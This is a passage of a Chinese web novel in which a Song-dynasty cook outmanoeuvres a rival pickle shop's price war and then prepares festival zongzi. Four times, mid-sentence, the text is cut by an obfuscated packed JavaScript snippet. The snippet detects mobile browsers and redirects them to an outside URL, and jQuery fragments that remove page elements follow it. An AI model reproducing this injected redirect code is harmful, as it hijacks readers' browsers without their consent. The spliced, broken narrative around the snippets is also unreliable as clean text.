她前几日便去窑坊订了一批青灰陶罐，每罐约能装二斤左右，罐身素朴，只用红纸贴上品名，“李记糖醋萝卜菹”、“李记酱瓜”等，下方还有一行小字说明：“密封阴凉处，旬日后滋味更佳。” 当再有熟客询问时，李怀珠便笑着指向柜台一侧，那叠放的陶罐。 “承蒙各位喜爱，小店这几样菹菜也可整罐售卖。一罐二斤，定价八十文。买回家密封存放些时日，其味更醇。无论是佐粥，还是平日下饭，都便宜。” 八十文一罐菹菜，比起新鲜蔬菜自是贵了不少，但比起酒楼里的蜜煎、酱菜，却又显得实惠，李怀珠在门口摆了条案，将四种陶罐整齐陈列，旁边放着试吃的小碟。 有客人犹豫，便有伶牙俐齿的娘子过去介绍。 “贵有贵的道理。您尝尝，这是春天好菜好时节，慢工细作出来的。一罐能吃许久，算下来，每日不过添一两文钱，就能让餐饭有滋有味。” 客人一试，果然与记忆里难吃的腌菜天壤之别，加上李怀珠“宫中手艺”名声隐约流传，虽然心疼，但尝过那滋味后，咬牙买一罐回家佐餐、待客的，大有人在。尤其是那些讲究些的殷实人家和酒楼食馆的采买，更是成罐来买。 一罐菹菜成本约三十文，售价八十文，毛利五十文。 且制作一次可售卖多日，损耗低，又能带着一起卖粥，每日光是搭赠和零售的菹菜，利润算来着实可观。 团娘数钱数得眉开眼笑：“娘子，你这脑子是怎么长的？几样菹菜，竟也能赚这许多！” 瞧把小姑娘开心的，李怀珠笑道：“这叫做‘趁贱收贮，待缺供须’。春日菜贱，咱们便把它变成能存放的东西。大家吃个新鲜，咱们赚个巧钱。” 人红是非多，生意好了，难免引来打探。 这日，李怀珠正在洗大缸子的米豆，团娘匆匆进来：“娘子，前头来了两位生客，一直打听咱们菹菜做法，问得可细了。” 李怀珠心下了然，净了手，解下攀膊走到前店。 只见柜台前站着两位中年男子，见李怀珠出来，那位颇像钱老板的富态男子拱手笑道：“这位便是李掌柜？鄙姓胡，在城西也开着间食肆。尝了贵店的几样菹菜，风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902192|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味独特。不知掌柜的可否指点一二？” 胡掌柜面上笑呵呵，心中却在叫骂。 他城西的生意这月淡了不少，打听下来，竟是有好些老客被李记勾了来，今日过来，说是讨教，实则是来探底细——若她没什么根基，或是个软柿子，那“讨教”不成，总还有别的法子……这市井里的生意，可不全靠手艺。 李怀珠闻言，略看一眼二人，一个绿豆芝麻三角眼，一个尖嘴猴腮似螳螂，女人的第六感马上响动，嗯，来者不是善茬。 “胡掌柜谬赞了。不过是些家常手艺。说起来，这做菹的法子，还是当年偶得一位老尚食指点做的。宫中规矩大，许多方剂讲究‘传授有自’，具体香药配比、盐糖之数不敢妄传，恐失了原味，也辜负了老人家一片好意。” 她抬出“宫中规矩”堵人家的嘴。 那胡掌柜与同伴对视一眼，心底却暗啐一口，门小户的竟有这般来历？可若是真的，硬逼强索就得掂量掂量了。 但一计不成，还有另一计。 账房老赵打了个哈哈：“原来如此！是鄙人唐突了。李掌柜手艺精湛，自是得了真传。不知菹菜可否多供些货？鄙店也想进一些。” 李怀珠心中明镜似的，也跟着打太极：“承蒙胡掌柜看得起。只是小店刚起步，人手有限，眼下只够供应自家铺子，零星售卖，实在没有余力外供。” “况且胡掌柜若真有兴趣，不妨贵店也试试时令菜蔬？春日物产丰饶，只要肯花心思，总能做出来些滋味。” 嘿，这小娘子有两下子！ 胡掌柜看她一眼，三言两句，既婉拒供货，又给了自家台阶下，还顺带鼓励他自个儿研发——反正意思就是，核心配方她不会给，甭想。 见她如此，二人知道今日是讨不到便宜了，便也识趣不再多问，买了两罐菹菜，客气告辞。 一出店门，走到巷口拐角，胡掌柜脸上的笑便垮了下来。 “你怎么看？宫里秘方的话，有几分真？” 老赵道：“真假难说，但这女子话里套着话，防得严实，硬来恐怕不妥。” “那难道就干看着她抢生意？ “自然不是。” 老赵凑近些，“她这菹菜用料，无非是些萝卜、芥菜之类。咱们派人去她常拿货的菜农那儿，把这几样菜价抬高，先断她的便宜来路。若她成本涨了，要么提价客人不满，要么硬撑利润变薄。此其一。” “其二，咱们也回去试做。多试几次，未必不能摸到点边。就算味道不及，咱们卖便宜些，总有人贪那个实惠。日子还长，慢慢来。” 胡掌柜闻言脸色稍霁，点了点头：“就这么办。让她先得意几天。” 两人低声议论着，身影渐渐消失在巷子另一头。 送走这两人，团娘还没反应过什么滋味：“娘子，你真厉害！三言两语就把他们打发了。” 做生意，手艺要紧，周旋也要紧。 她们的东西好，别人自然会眼红，但也不能把路堵死，结仇不如结缘。 怎么说也是两辈子人了，李怀珠没团娘那么乐观：“今天他们空手而归，但咱们礼数到了，话也给了面子，将来或许还有打交道的时候，且等着吧。” 谁知一语成谶，几日后，这交道便又打上了。 15. 第 15 章 天气渐暖，李怀珠盘算着铺中菹菜销路不错，想趁春菜丰沛再囤一批。 去东市的菜场，摊主老丈正对着一地零落菜蔬收拾。 李怀珠询问芥菜，老丈却摇头说凑不齐了——原来这两日有陌生人来大量收购萝卜、芥菜、胡瓜等物，出价高出市价两三成，许多摊贩都已将菜成批卖给了他们。 老丈还说，那些人似是本地西市做食肆生意的，本地口音，收走的芥菜少说两三百斤，萝卜胡瓜则更多。 这一收，市面菜量顿时紧俏起来，菜价也跟着飞涨。 李怀珠望去，相邻的几个摊子果然空了大半，剩下的品相也不如从前。 团娘跟在她身后，起初还没明白，待李怀珠又问了几家，拼凑出个大概，才反应过来，气得小脸通红——这分明是冲着她们来的。 “太欺负人了！咱们做咱们的生意，碍着他们什么了？” 生意场上见人赚钱眼红是常事，断人货源，抬高成本，也算常事，李怀珠倒比她心宽，还有心思开玩笑，“说明咱们的菹菜，是真入了人家的眼，成了威胁了。” 两人回到榆林巷口，就听见一阵吆喝声。 “胡记酱菜，新坛开市喽——” “价廉物美，滋味足！走过路过，莫错过——” “祖传手艺！一罐只卖七十五文！买两罐再送半斤！” 只见两个穿着褐色短褂的伙计，推着陶罐板车，正沿着巷子缓缓而行。 “七十五文一罐！货真价实！不像某些店，仗着有点名头，就把咸菜卖出肉价钱！咱们胡记，实惠才是硬道理！” 团娘气得要冲上去理论，李怀珠一把拉住她，安抚着摇了摇头，朝那摊子望了望。 两个伙计见她吃瘪，叫卖更响，还挑衅似的朝她一笑。 李怀珠也笑了。 她转身回屋，从钱匣里数出钱，递给团娘：“去，买一罐他们的酱瓜，一罐芥丝。” 团娘以为自己听错了：“娘子？！” “没事，”李怀珠眨眨眼，“知己知彼，百战不殆。咱们也尝尝人家的‘祖传秘方’。” 团娘咬着嘴唇，接过钱，一步一顿走到摊子前。 那尖嘴伙计见是李记的人，笑容里多了几分得意：“哟，这不是李记的小娘子吗？怎么，也想尝尝咱们胡氏的酱菜？” 团娘绷着脸：“酱瓜、芥丝，各一罐。” “好嘞！”圆脸伙计装罐，嘴上还不闲着，“小娘子回去跟你们掌柜说说，这做生意啊，讲究的是价钱公道，用料实在，往后你们要是想进货，找我们也成！” 团娘憋着一肚子火，冷冷道：“我们娘子自己做的东西，够卖了。” “嘿，这话说的。”尖嘴伙计阴阳怪气，“够卖是够卖，可客人要的是实惠。您瞧，方才那位客官，尝了咱们的，不也没说不好吗？” 团娘想起那客人皱眉的样子，忍不住回嘴：“人家那是客气！真要好吃，怎么没买你们的？” “你——”尖嘴伙计脸一沉，“反正我们不会去买李记的！” 团娘心情舒畅了，提着罐子，头也不回地走了。 回到铺子，她和李怀珠打开罐子，各尝了一口。 团娘也尝了，呸呸两口：“这什么呀，比咱们的差远了！” 李怀珠却若有所思。 腌菜这东西，不像四喜丸子和生煎，用料、火候有那么多门道。它没什么太高的技术壁垒，说白了，就是调料、时间、和一点调配的心思。胡记拿到实物，回去反复试，也许不能一下做的太好，但今天能模仿五分，明天就能模仿六分，直到吃不出来区别。 这种挣钱的买卖，被人盯上是迟早的事。 团娘一听，这怎么行，李怀珠却给自己倒了杯茶。 诚然，她不是个爱找事的性格，却也不是个软柿子，让人随便揉捏。 价格战不能不打，但以她现在的实力，也不能真打。 “娘子？”团娘不明所以。 “我在想，”李怀珠笑说，“胡记在城西开了这么多年，想必也有些家底了吧？” 团娘更糊涂了：“家底厚，不是更能跟咱们耗着吗？” 李怀珠却摇头。 聪明人用计谋，设陷阱，是为了让别人身陷危险，自己得利。 但还有一种更简单的道理，叫做——我不入局，你随便赢。 翌日，李记门口的牌子上，腌菜的价格变成了七十文。 胡记的伙计依旧来叫卖，价格换成了六十五文。 李怀珠再去东市，蔬菜价格依然居高不下，她索性只买了些自家吃的，回来便将价格改成了六十文。 胡记那边没过两天，也挂出了六十的牌子。 李怀珠再去菜市，情形依旧，又将价格降到五十五文。 价格就这么一点一点往下掉。 街坊们都看出了门道，私下议论纷纷。 就这么来来回回，折腾了将近半个多月。 价格一路从八十文降到七十、六十五、六十、五十五、五十……这天清晨，李怀珠将最后一块水牌挂了出去。 上面赫然写着：“李记春菹，二十文一罐。” 这价格一出，西市胡掌柜和老赵坐不住了。 前面店里的酱菜堆积如山，问津者却寥寥。一来味道确实比不过李记，二来这酱菜不是快消品，买一罐能吃很久，价格打成这样，他们亏得比李记可狠多了！ 再看李记那小娘子，每日铺子里生意照做，点心照卖，偶尔露面还是笑语嫣然，没有半点焦头烂额的样子。 可自家仓库里堆满了高价收来的鲜菜，前面做好的卖不出去，后面没做的堆着，天气渐暖，有些已经开始打蔫……这可都是真金白银换来的！ 胡掌柜与账房老赵正为亏损烦心，正愁着，前店突然炸了锅。 一个妇人正又哭又骂，手里举着半罐白霉点子的酱菜，扯着伙计不撒手，说她家孩子吃了腌芥，上吐下泻，现在还在床上躺着呢，非要讨个说法。 店里几个客人全围了过去，胡掌柜心道不好，知道坏事了，肯定是底下人赶工马虎，没密封好腌菜的罐子，赶紧挤过去，想把那妇人拉到后头商量，赔点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906323|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私了。 可那妇人嗓门大得很，根本不吃这套，非要当众理论。 乱哄哄的节骨眼上，外头又来了两个衙役。 领头的一问谁是掌柜，胡掌柜硬着头皮站出来，话都没说两句，就被妇人叫来的衙役带走了。 这一去，直到天擦黑才回来。 胡掌柜进衙门时还强撑着，出来时跟霜打的茄子似的，衙门那边已经审了，不仅要赔那孩子的药钱，还因为他家东西不干净，坏了市面风气，罚了好大一笔钱。 这下可好，钱没赚到，倒贴一屁股债，脸也丢光了。 他气还没喘匀，伙计跑进来跟他说胡瓜开始烂了。 胡掌柜眼前一黑，这真是屋漏偏逢连夜雨，前头的麻烦还没理清，后头的本钱眼看着也要烂在手里——这样下去哪行？ 老赵是个忠心的，劝着胡掌柜把后面那堆菜先卖出去。 可卖给谁却是个大问题。 胡掌柜沉默了，双手捂着脸，久久不语。 铺子外华灯初上，正是夜市热闹的时候，可胡记食谱里却安静的过分。 不知过了多久，他慢慢站起身。 “走。” “掌柜的，去哪？”伙计小心翼翼问。 胡掌柜从牙缝里挤出几个字，“去找能买菜的人。” 夜色已深，榆林巷里大部分店铺都已打烊，只有李记后院还亮着灯。 李怀珠和团娘正在洗新买的黄黍米——临近端午，天朗气清，屈原小哥祭日临近，李记要推粽子了，先买些自己试试。 忽然，前门传来叩门声。 团娘擦擦手，走去开门，只见门外站着两个人，正是胡掌柜和老赵，还有那两个每日来叫卖腌菜的伙计。 几人没了从前趾高气昂的气势，胡掌柜越过团娘，望向院里灯下那道窈窕身影。 胡掌柜咽了口唾沫，“李……李掌柜在吗？” 院内的李怀珠闻声，放下攀膊，缓缓转过身来。 暖黄的灯光映着她的脸颊，唇角微勾，笑意清淡，却又不惊讶，似乎意料之中。 “原来是胡掌柜。这么晚了，有何贵干？” 小娘子一幅气定神闲的样子，好似没事人一样。 老赵硬着头皮拱了拱手：“李掌柜，今日登门，实在是有事相求……” “是、是……正是为了酱菜的事……” 李怀珠还没开口，团娘却抿唇笑了，“酱菜？我们早就不卖了呀。” 老赵一愣：“不卖了？” 团娘说：“啊，您不知道吧？我们降价第一天便卖光了，后来只在客人来吃饭时送一小碟当搭头。熟客们喜欢，我们也乐意送——反正量少，赔不了几个钱。” 老赵脸色一白，降价第一天，那都是什么时候的事了。 “……那天就卖光了？” “是啊，”团娘摊手，一脸惋惜：“您老现在来买，真是一罐都没有了。” 胡掌柜和老赵呆怔原地，身后两个伙计面面相觑，渐渐咂摸过味儿来。 那这段时间你挂的什么牌子？！ 16. 第 16 章 泰安伯府坐落在内城保康门附近，虽非顶级勋贵，但府邸也有章法。 按宋制，伯爵府第可占地方五十亩，泰安伯府因是老宅，几经修缮，府内分中、东、西三路，中路是正院，东路设祠堂、书房及待客花厅，西路则是一排客院，专供门客、清客或往来亲友暂居。 谢慈与石子桓暂居的，便是西路的静观院。 这小院名副其实，极为清静。 院门朝东，入门先见一方天井，墙角植着一丛湘妃竹，正面三间房，明间作客厅，两侧为卧房，皆是青瓦白墙，槅扇门窗，檐廊下摆着两张竹椅，一方矮几，夏日在此纳凉读书，最是惬意。 院子竹帘半卷，微风习习，谢慈搁下笔。 大相国寺经文誊抄费神，此时腹中空落，正想着是否要让小厮去买些点心，院门便被推开了。 石子桓提着荷叶包兴冲冲进来。 “东榆林巷李记的生煎馒头，”他边解边说，“排了好一会儿队呢，最后一锅。” 谢慈净了手，竹箸夹起一个。 包子圆鼓鼓的，底儿煎得金黄，面皮雪白，顶着芝麻和葱花。 他咬开一个小口，滚热的汤汁涌出，鲜香扑鼻，馅料里有脆笋，咸鲜中带着江南饴糖的甜。 “知道你爱吃，特意带回来的。”石子桓笑道，“李娘子的手艺，真是没得说。” 谢慈食不言，石子桓灌了半盏茶，话匣子打开了。 说的自然是最近热闹的市井传闻。 近日坊间都在传，城西胡记食肆眼红李记的腌菜生意，使了些手段压价打擂台，结果被李记反将一军，折磨不堪，听说昨夜胡掌柜上门说和，李娘子就坡下驴，好心收了那些菜。 与好友说罢，石子桓感慨道：“李娘子真是既有雷霆手段，又懂得见好就收。” 谢慈静静听着，神色徐徐，看不分明。 “不过，”石子桓忽而摸了摸鼻尖，微妙道，“兰时，但你说李娘子是不是太厉害了些？听着这些事，总让我想起家里的几个阿姊。” 谢慈抬眼看他。 石子桓不好意思：“你看她，年纪瞧着不大，处事却老练得很。我三姐像她这么大时，还在闺中习字绣花呢。” 谢慈闻言，唇角轻轻一扬，竟笑了。 石子桓被他笑得窘迫：“你笑什么？” “你家阿姐，”谢慈慢条斯理道，“最小的也该比她大上七八岁吧？” “那她可不就更厉害了？”石子桓纳罕。 谢慈笑意渐渐淡去，轻声道：“是了。” 东市偏僻巷子中，被人念叨的李怀珠打了个喷嚏。 朝食时间一过，胡掌柜领着人走了，团娘闩好门，回看满院子菜筐，“娘子，您方才瞧见没？那胡掌柜的脸，青了又白，白了又青……啧啧，娘子如何想到这种好计谋？” 李怀珠揉揉鼻子，不知谁在想自己，正弯腰查看筐里的芥菜，便随口说起曾经听到的一个故事—— 话说市井有二店对门，甲店高悬“火腿五毛”招幌，乙店即刻书“四毛”应之。甲再降，乙跟着一起降。如此数番，甲店没了利润，去跟乙店主对峙。这才知道乙店根本不卖火腿，不过挂个假牌子引他上当罢了！ 小时候听到这个故事时，李怀珠还觉得乙也太狡猾了，可现在嘛……谁做生意都不容易，略施小计而已，无伤大雅的。 “他那是急的。高价收来的菜，眼看要烂在手里，能不急么？” 李怀珠说着，目光扫过那几大筐菜，都是春日好物。 “再说了，”李怀珠神气的很，欺负人也颇理直气壮，“咱们用三成的价，收了他们十成的货，可不恼火么。” 团娘才不管那些：“就该这样，谁叫他们先使坏！” 这话颇有上梁不正下粱歪的意思，深得李怀珠之心，便也大笑，“对，就要这样想！” 主仆二人说笑着，一起将那些菜蔬分门别类，该洗的洗，该晒的晒。 “装好了，这两日便送人。”李怀珠道，“糖醋萝卜、酱瓜、咸齑、芥丝各一罐，配成一件。孙大娘子、泰安伯府、祁大人各送一件，吃着也多样。” 团娘问：“娘子，咱们既送人，等腌透了再送，岂不更好？” 李怀珠将胡瓜收进筐里，“早晚都要送，何必等。再说了——” “这大概是咱们最后一回腌菜了。” 团娘一愣：“咱们的菹菜不是卖得很好么？” 是卖得好，可经过此事却也明白了，胡记不过买了点成品，试了几次，就能模仿个五六分，腌菜本就没门槛，她们能靠它赚点新鲜钱，但时间一长，会做的人多了，价钱自然就下来了。 胡掌柜走了，还会有下一个张掌柜、王掌柜，李怀珠觉得为了几样腌菜，不值当的。 卖完这回便不做了，朝食时，有给客人们送的便罢了。 两人说着，到午后，所有菜蔬都已处理妥当，李怀珠忽然想起一事。 前些日子孙大娘子送来的那两匹料子，拿去裁缝铺做了衣裳，一身雨过天晴色的给了团娘，一身杏红的给李怀珠做了褙子和襦裙，算算日子，也该好了。 团娘自幼穿的多是粗布成衣，这回孙大娘子送来的是杭绸，颜色又娇嫩，李怀珠许了她，小娘子很是喜欢，盼了许久。 裁缝铺的工钱已付过了，又多给了团娘半吊钱，让人顺路去香药铺买一小盒澡豆，剩下的，她自己留着，买些时下零嘴也好。 团娘接过荷包，哎了声，转身快快跑了出去。 李怀珠继续整理坛坛罐罐。 这些陶罐都是之前订制的，大窑出来的一批，得挨个检查，看是否有裂纹、砂眼，热水烫过，倒扣在竹架上沥干。 春日午后的阳光暖和，晒得人有些懒洋洋。 院子里只剩下她一人，偶尔有麻雀落在晾菜架上，啄食菜叶上残留的水珠，啾啾几声，又扑棱棱飞走。 团娘回来时，已是申时初刻。 包袱里的两身新衣裳叠得整整齐齐。 料子果然是上好的杭绸，在春阳下能看出光泽，裁缝手艺精细，领口、袖口滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911138|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了窄边，衣襟绣了花纹，恬淡素雅的样子。 二人试了衣裳，那匹天青色的窄衫很得团娘喜爱。 而李怀珠这匹杏红的颜色浓郁，衬得人眉目清丽，只将长发松松挽个髻，斜插一支素银簪，立在春阳下，竟有几分出水芙蓉的娇妍。 团娘看得呆了，赞道：“娘子，你穿这个真像画里的人！” 李怀珠捏她脸颊：“就你嘴甜。” 两人互相看着，都笑起来。 团娘还买了碟子蜜浮酥奈花，分了李怀珠一半。 两人坐在屋檐下，吹着微风，吃着甜食。 那酥奈花是用酥油雕作茉莉花形，浮在清蜜之上，莹白可爱，入口酥融，伴着淡淡花香，有点像软塌塌的冰激凌，冰雪凉水是用甘草、薄荷熬煮后镇凉的，有青草气息，清甜解渴。 团娘小口小口吃着，时不时低头看看自己的新衣，眼中欢喜。 这丫头，苦了那么久，如今一点点甜就能让她高兴成这样。 十四五岁的小姑娘，还是爱玩爱闹的年纪。 索性都忙了一个多月，从早忙到晚，没歇过一日，李怀珠想了想，给团娘放了日假，工钱照算，另外又给了二百文，让她也去逛逛夜市，买些喜欢的小玩意儿，还可以去看看圆觉，祭拜祭拜家里人。 团娘自然乐意，只怕铺子忙不过来，还是李怀珠再三保证不会有事，小娘子才满脸担忧地应下，可孩子总是天然喜欢快乐的，翌日一早，团娘早早换上新衣，欢欢喜喜出了门。 李怀珠独自留在店里，将铺子里外收拾了一遍，又把账本拿出来算了算这个月的收支。 刨去各项开销，净赚了三十余贯，对比每个月七贯五百文的租子，虽不算暴利，但胜在稳定，且口碑渐起，往后应当会更好。 她将钱匣锁好，只留了些散钱，预备今日零用。 朝食生意照常，老客们见只有她一人，纷纷询问团娘去向，李怀珠便笑问是不是自己服务的不周到，大家笑几句，便不再问了。 到了傍晚，门外传来车马声。 一个穿着粗布短褂的汉子跳下车，朝铺子里张望：“请问，是店主人么？” 李怀珠迎出去：“正是。您是？” “小的是城外枣庄的。”汉子拱手，“我们庄头前些日子接了您订的货，让今日送过来。” 李怀珠这才想起，原是端午节要用的材料到了——粽叶、糯米、枣子、赤豆等，她早先托人向城外庄子订了，内城的米行总比庄户出的要贵些。 汉子将筐子搬进院子，一一掀开给她验看。 粽叶是新鲜的箬叶，宽大青翠，两筐糯米，枣子是金丝小枣，个头不大，但皮薄肉厚，色泽红亮，赤豆、花生、莲子各也都不错。 李怀珠很是满意，付了余款，又额外给了些辛苦钱。 将那些材料挪到后院，摊开晾着，以免受潮。 天色渐渐暗下来，远处隐约传来夜市开张的喧闹声，但这边的巷里只剩几家铺子还亮着灯。 春来春往，端午要来了。 17. 第 17 章 窗子一推开，娘子们都买了艾枝来。 小孩子颈上早挂了香囊，五色丝线缠的鼓鼓囊囊装着朱砂、雄黄、香草，跑起来一颠一颠，飘得满街都是药香。 这香气一飘，开封也好，汴京也罢，人们便也知道端午快到了，瓦子里早三五日就卖起“百索艾花”——银样雪梨、蜜饯金桃，其实都是绸缎巧扎的，又有“五色瘟纸”，印着钟馗、天师，黄纸朱印，街坊们见面不道“安康”，只说：“门首蒲剑可悬了？”① 可见在大宋，端午是个大节。 孟老《东京梦华录》里有写，“端午节物，百索、艾花、银样鼓儿、花花巧画扇、香糖果子、粽子、白团、紫苏、菖蒲、木瓜，并皆茸切，以香药相和，用梅红匣子盛裹。” 可见，时人已有端午吃粽的习俗，只是粽子的用料做法与后世不尽相同而已。 这时的粽子，多称为“角黍”，以菰叶或箬叶裹黍米，形如小角锥故而得名，馅料也简单，多是纯米，或裹以枣、栗、柿干等甜物，用灰汁煮熟，煮出来时色泽金黄，带着微微的碱香。 李怀珠在宫中尚食局时，做的粽子自然更精致些，除了寻常的枣粽、栗粽，还有加松子、核桃、蜜饯的“八宝粽”，有用糯米粉裹豆沙，做成小巧玲珑“粉团”的——但万变不离其宗，总归是甜口为主，官家娘娘们也都颇为喜爱。 李怀珠前世是北方人，自幼吃的是豆沙粽、蜜枣粽，长大后走南闯北，见识了天南海北的粽子。 譬如嘉兴的鲜肉粽，肥瘦相间的五花肉用酱油、糖、酒腌透，与糯米同煮，肉汁浸润米粒，油润咸香；广东的裹蒸粽，个头硕大，内馅豪华，蛋黄、香菇、五花肉，层层叠叠，一只就管饱。 但要说特别，还要数闽南的烧肉粽，吃前要蘸花生酱或甜辣酱，或者四川的椒盐豆粽，麻辣鲜香，别具一格。 更有腊肉粽、桂花粽、紫米粽……甜的咸的，大的小的，长的扁的，数不胜数。 如今轮到自己要做粽子卖，纯米粽、枣粽这些传统口味自然要有，顺应时人习惯。 但或许也可以做点不一样的，譬如做些咸肉粽试试，选肥瘦相间的豚肉，用豉酱、饴糖、五香粉腌制，再与泡好的糯米同裹，煮出来后，肉香米糯，或许能吸引那些口味偏重的食客。 再譬如做些豆沙粽，红豆煮烂滤沙，用猪油和糖炒成细腻的豆沙馅，裹入糯米中，应该会受娘子们喜爱。 还可以做点“水晶粽”？用西米代替糯米，煮熟后晶莹剔透，冰凉后食用，清爽可口，正适合日渐炎热的天气…… 李怀珠越想越觉得可行，便定了自己的销售思路：传统口味打底，新增两三种特色，满足不同客人的需求，而量又不必多，先试水看看反响。 节前三日，李记把米粽的招牌挂出来了。 广告词既要应景，又得有趣，最好让人一看就记住。 “端阳近，箬叶青，金线缠，彩缕系。 莫问灵均当年事，且尝新糯慰旧情。②” 写罢，自己读了一遍，觉得还算顺口有趣，打油诗而已——屈原大夫若有知，大概也不会怪后世小女子借他的名头卖粽子吧？ 团娘则觉得自己家小娘子才高八斗，这首小调好念又好听，高高兴兴挂上了门头。 牌子一挂，果然引来街坊询问，李怀珠借着这个机会和大家科普，大宋人们这才知道世上竟还有肉粽，咸口粽。 李怀珠便笑着解释：“正是呢。除了寻常的枣粽、米粽，今年咱们还试了些新样子，有裹了腊肉、咸蛋黄的，还有裹了豆沙的，咸甜滋味也不同。等做出来了，您尝尝便知。” 问的人将信将疑，咸的粽子？倒是新鲜！从来端午只有黍米粽和白米粽啊…… 说起当下的粽品，李怀珠也吃了黍米粽和白米粽，觉得口味一般——黍米，就跟大点的黄小米一样，黏性不如糯米，煮熟后口感略糙，白米粽则是纯糯米，清煮后蘸糖或蜂蜜吃，又浇浆酪，是时人最熟悉的滋味。 口味上说，一个米粒松散，不够糯，一个倒是软和，但总觉得味道单一，都是甜的腻人，真是齁得慌。 林林总总，便定了五六种馅料。 甜的有传统的金丝枣粽、细腻豆沙粽、还试了个桂花蜜豆粽——在红豆里添了些糖桂花，取个清香伊人，咸的则是新鲜物了，腊肉粽、咸蛋黄粽，还做了点香菇鸡肉粽试水。 馅料备齐，裹粽却是门手艺。 从小跟着家里人包粽子，李怀珠手法娴熟，取两片箬叶交错叠放，卷成漏斗状，先填一层糯米，放入馅料，再覆糯米，箬叶翻折包裹，最后用棉线捆扎，三个角角清晰分明，碧绿可爱。 团娘在旁学得认真，只是初时手生，不过半日，竟也做得有模有样了。 不同的馅料，用不同颜色的棉线捆好，煮的时候分锅，卖的时候一看线色便知。 一大清早，客人还没上门，粽子便已下锅先在两口大锅里煮着了。 刚出锅这功夫，店里还没客人，主仆二人先犒劳自己。 李怀珠先尝了豆沙粽，入口软糯香甜，豆香醇厚——果然是甜粽中的经典口味，香而不腻，清甜怡人！ 又试了咸蛋黄粽，酥沙流油，咸鲜适口，竟也别有风味。 团娘则不然，小丫头胃口好，先吃了一个腊肉粽，又拿了一个鸡肉的，接着还吃了个蜜枣粽，最后喝了小半碗赤豆粥，连平日最爱的荷叶馍今日都只吃个一个，也算是割爱了，最后得出结论，腊肉才是全场最佳。 揉揉对方圆乎小脸儿，李怀珠不禁失笑，吃，喜欢就多吃些。 事实证明，团娘的口味更贴近大众——本以为大宋人民吃惯了甜口角黍，对这咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915447|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腊肉馅接受不来，谁知腊肉竟是卖得最快的！ 又称奇道，这粽子怎么味儿和之前吃的不一样？这米怎这般软糯？跟往年的角黍不一样！ 旁边一位老丈也买了枣粽，“是了，老夫记得往年角黍，用的是黍米，略有些糙口。娘子这端午粽却软糯黏滑，好嚼好咽。” 黍米和粽米不同，旧年的糯米和新岁的糯米又不同，李怀珠笑着解释：“用的是今年的新糯米。黍米自有风味，但咱们想着，端午佳节，吃个软糯香甜，更舒坦些。馅料也多添了几样，各位可以尝尝。” 一位带着小娘子的妇人买了豆沙粽和咸蛋黄粽，与小儿分食，独爱豆沙粽，这豆沙磨得细，甜得正好，不腻人。往年枣粽吃多了，换换口味也好。 你一言我一语，不过一个时辰，粽子便见了底，后面来的客人听说没了，都一脸惋惜。 看着大家臊眉耷眼的样子，李怀珠心里却高兴，早食摊面做到这个份儿上，也是可以了，于是笑对众人道：“多谢各位捧场。粽子现煮费时，端午临近，若是各位想买，或是要送亲友，不妨提前预定。告诉我们数目、种类，我们也好备足材料，不至于短了谁的。” 又道，“预定只需付两成定钱，端午前一日或当日来取便是。也省得大家白跑一趟。” 客人们一想，确实方便，端午走亲访友，提上一串粽子，既应景又实惠，自家吃，预定好了，到时来取，不用挤也不用等。 团娘拿纸笔，李怀珠记录下客人的姓名、要的各类粽子数目、取货日期，一一写清，收了定钱，给了凭条。 不知是节日的喜悦感染了人，还是李记的粽子实在勾人馋虫，预定的单子一张接一张，不到半日工夫，竟订出去了近三百个粽子。 欢喜归欢喜，该做的事一件不能少，客人们这样捧场，没有不感谢的道理，过节嘛，总得有点节礼赠品。 宋时风俗，端午日用五彩丝线编成索子，系在手腕、脚腕，或挂在床帐、门户上，取辟邪驱瘟、祈福长寿之意，取名“百索”，便是长命缕，也叫五色丝。 这东西她虽不会编，但可以买来送呀！相国寺门口阿婆都等着做生意呢。 于是说好，凡来取粽子的客人，无论买多买少，都送根长命缕，也是一点小心意，祝各家孩童康健，老少平安。 